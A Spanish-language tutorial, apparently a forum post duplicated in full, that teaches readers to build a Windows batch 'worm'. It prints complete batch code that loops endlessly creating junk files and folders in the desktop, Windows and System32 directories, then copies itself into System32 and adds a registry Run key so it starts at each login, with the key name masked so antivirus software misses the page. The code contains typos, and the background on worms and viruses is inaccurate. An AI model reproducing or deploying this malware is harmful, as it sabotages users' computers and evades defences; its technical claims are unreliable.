Introducción
Un gusano es un virus informático que tiene la propiedad de duplicarse a sí mismo. A diferencia de un virus, un gusano no precisa alterar los archivos de programas, sino que reside en la memoria y se duplica a sí mismo. Los gusanos siempre dañan la red, mientras que los virus siempre infectan o corrompen los archivos de la computadora que atacan.
¿Como saber si estoy infectado?
Es algo usual detectar la presencia de gusanos en tu sistema cuando, debido a su incontrolada duplicación, los recursos del sistema se consumen hasta el punto de que las tareas comunes que usamos diariamente se ponen lentas o simplemente no pueden ejecutarse.
¿Cómo crear tu gusano en batch?
En este tutorial les voy a mostrar como crear un gusano en batch. Este gusano creara muchos archivos en los directorios que pongamos en el código…
A continuación abrimos el block de notas e ingresamos el siguiente código…
dijo:@echo off :worm cd cd %homepatch% cd escritorio echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe cd cd windows mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe cd system32 mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe goto worm[/quote]
Ahora vamos a "guardar como" y elegimos el lugar donde se guardara el gusano.
Nombre: worm.bat
Tipo: Todo los archivos
Después de guardarlo, agregamos otra línea de registro debajo de (@echo off) para que cuando se inicie la pc, el gusano también se inicie.
dijo:copy %0 %windir%system32worm.bat REG ADD HKLMsoftwaremicrosoftwindowscurrentsversion$$$$/v hack/d %windir%system32worm.bat[/quote]
Nota: donde pone $$$$ hay que poner run. No aparece puesto en el código porque si no los antivirus detectarían esta página como virus.
Al final nos quedaría algo así:
dijo:@echo off copy %0 %windir%system32worm.bat REG ADD HKLMsoftwaremicrosoftwindowscurrentsversion$$$$/v hack/d %windir%system32worm.bat :worm cd cd %homepatch% cd escritorio echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe cd cd windows mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe cd system32 mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe goto worm[/quote]
Ahora nuestro worm se autocopiara en el directorio: C:WindowsSystem32worm.bat y la otra linea era para agregar una entrada al registro al cual iniciara nuestro virus cada vez que se inicie sesion.
No lo ejecuten porque se auto infectaran y lo mas peligroso es que tengan que formatear la pc, así que tengan mucho cuidado con lo que hacen. jeje.
Un gusano es un virus informático que tiene la propiedad de duplicarse a sí mismo. A diferencia de un virus, un gusano no precisa alterar los archivos de programas, sino que reside en la memoria y se duplica a sí mismo. Los gusanos siempre dañan la red, mientras que los virus siempre infectan o corrompen los archivos de la computadora que atacan.
¿Como saber si estoy infectado?
Es algo usual detectar la presencia de gusanos en tu sistema cuando, debido a su incontrolada duplicación, los recursos del sistema se consumen hasta el punto de que las tareas comunes que usamos diariamente se ponen lentas o simplemente no pueden ejecutarse.
¿Cómo crear tu gusano en batch?
En este tutorial les voy a mostrar como crear un gusano en batch. Este gusano creara muchos archivos en los directorios que pongamos en el código…
A continuación abrimos el block de notas e ingresamos el siguiente código…
dijo:@echo off :worm cd cd %homepatch% cd escritorio echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe cd cd windows mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe cd system32 mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe goto worm[/quote]
Ahora vamos a "guardar como" y elegimos el lugar donde se guardara el gusano.
Nombre: worm.bat
Tipo: Todo los archivos
Después de guardarlo, agregamos otra línea de registro debajo de (@echo off) para que cuando se inicie la pc, el gusano también se inicie.
dijo:copy %0 %windir%system32worm.bat REG ADD HKLMsoftwaremicrosoftwindowscurrentsversion$$$$/v hack/d %windir%system32worm.bat[/quote]
Nota: donde pone $$$$ hay que poner run. No aparece puesto en el código porque si no los antivirus detectarían esta página como virus.
Al final nos quedaría algo así:
dijo:@echo off copy %0 %windir%system32worm.bat REG ADD HKLMsoftwaremicrosoftwindowscurrentsversion$$$$/v hack/d %windir%system32worm.bat :worm cd cd %homepatch% cd escritorio echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe cd cd windows mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe cd system32 mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% mkdir %ramdom% echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe goto worm[/quote]
Ahora nuestro worm se autocopiara en el directorio: C:WindowsSystem32worm.bat y la otra linea era para agregar una entrada al registro al cual iniciara nuestro virus cada vez que se inicie sesion.
No lo ejecuten porque se auto infectaran y lo mas peligroso es que tengan que formatear la pc, así que tengan mucho cuidado con lo que hacen. jeje.
